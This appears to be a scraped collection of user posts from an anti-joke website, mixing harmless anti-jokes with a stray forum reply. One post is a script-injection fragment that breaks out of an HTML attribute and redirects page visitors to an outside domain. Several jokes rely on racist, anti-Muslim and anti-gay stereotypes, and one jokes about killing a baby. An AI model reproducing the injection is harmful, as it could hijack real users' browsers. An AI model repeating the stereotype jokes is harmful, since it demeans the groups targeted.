There once was a girl who took away my source of entertainment. Her name was Nicole.

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How do you stop a baby from crawling in circles? Pick it up and put it in a crib, like a responsible parent.

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"'>document.location.href="http://cramik.org"

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:)Knock Knock :(Whose's there? :)None ya :(None ya who? :)None ya dam business.

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How do you make a tissue dance? You give it dance lessons.

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what did the hobo as the other hobo? do u have any cheese?

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So there is a muslum, then he flew a plane into a building and died a sudden death. But he was wearing a helmet.

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I once was told that life is like a box of chocolates, but then realized that it wasn't

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What's the difference between Rebecca Black and your mom? Nope! Chuck Testa.

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what do you call a gay guy? kevin

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Q. How much Mexicans does it take to change a lightbulb? A. None, they just steal one.

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What did the towel say to the other towel? Nothing, there was no topic of conversation.

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Why did the koala fall out of the tree? Because it was dead. Why did the kangaroo fall over? Because it fell over the dead koala

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Whats fuzzy and pink? A pink fuzz ball

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Whats fluffy, multicolored, and dances like a disco santaclaus? i don't know.

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"Knock Knock" "Just ring the bloody bell for once!"

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What do you call a green dog? A green dog.

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I agree Nero, we agree there, but let me ask you, why did you have the deep desire to create such a society before? You managed to do so as a teen, you wanted to help others, you put them before yourself, you where far more loyal to them, than they ever where to you. What motivated you then to sacrifice so much, where is that strength today?

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What did one Teacher say to the other teacher? Nothing. The first teacher has a horrible drinking habbit which is getting out of hand, He beats his wife and children each night after his drinks at the bar. His parents have stopped all contact and he found some divorce papers in his wifes draw, also saying she would be getting full costudy of the children. He has lost the majority of his friends and didnt want to loose another one, and kept his problems to himself.

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Whats funnier than throwing a baby off the top of a building? The sound it makes when it hits the ground.

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How do you blindfold an asian? step 1: Fold your blindfold into a triangle step 2: Wrap blindfold around the head of the asian step 3: Tie the blindfold on the back of the asians head step 5: You forgot 4 step 6: Your finished step 4: Tighten the blindfold Now you know how to blindfold an asian ˜´??

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How do you get dislikes on anti-joke.com? You can dislike your own post from several different IP addresses.

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A blonde, redhead, and a brunette are chatting outside a casino. The brunette directs a joke towards the blonde. "What's the difference between cotton candy and pork chops?" The blonde has heard the joke prior to this encounter and correctly completes it with sign language because she is deaf.

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A guy walks into a bar. But this was a bar like a pole, so the man ended up with a broken nose.

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